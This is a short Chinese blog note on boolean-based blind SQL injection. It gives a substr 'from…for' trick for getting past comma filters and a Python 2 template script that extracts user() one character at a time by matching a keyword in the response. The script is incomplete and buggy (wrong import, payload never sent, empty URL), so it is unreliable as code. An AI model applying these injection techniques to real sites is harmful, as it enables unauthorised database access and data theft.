Bool盲注

最近看见了这个Bool盲注挺有趣,做个记录!

小技巧:
substr(user(),1,1)
等价于
substr(user() from 1 for 1) 可以绕过逗号

参考脚本模板程序:

 1 import request
 2 import re
 3 
 4 pattern = re.compile(r'2014-11-16') #此处是关键字
 5 
 6 for count in range(1,100):
 7     for character in range(0,128):
 8         payload = 'user()'
 9         request = urllib2.Request('')
10                 #其中单引号中放注入的url
11         request.add_header('User-Agent','')
12                 #其中单引号中放User-Agent对应的东东!
13         response = urllib2.urlopen(request)
14         #print character
15         match = pattern.search(response.read())
16         if match:
17             if character == 0:
18                 exit(0)
19             else:
20                 print '%d -- %s'%(count,chr(character))
21                 #print match.group()
22                 break
23           

参考:这里

原文地址:https://www.cnblogs.com/sxmcACM/p/4101855.html